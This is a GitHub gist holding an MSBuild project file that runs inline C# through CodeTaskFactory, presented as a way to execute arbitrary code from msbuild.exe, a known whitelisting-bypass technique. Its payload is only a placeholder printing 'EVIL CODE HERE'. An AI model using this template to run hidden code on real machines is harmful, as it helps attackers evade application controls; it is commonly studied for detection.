Skip to content

Instantly share code, notes, and snippets.

@Arno0x
Created November 17, 2017 17:04
Show Gist options
  • Save Arno0x/e2b63b5d868d54724123f31cc39e4b21 to your computer and use it in GitHub Desktop.
Save Arno0x/e2b63b5d868d54724123f31cc39e4b21 to your computer and use it in GitHub Desktop.
MSBuild project definition to execute arbitrary code from msbuild.exe
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Net" />
<Using Namespace="System.Reflection" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine(" EVIL CODE HERE ! :-) ");
]]>
</Code>
</Task>
</UsingTask>
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment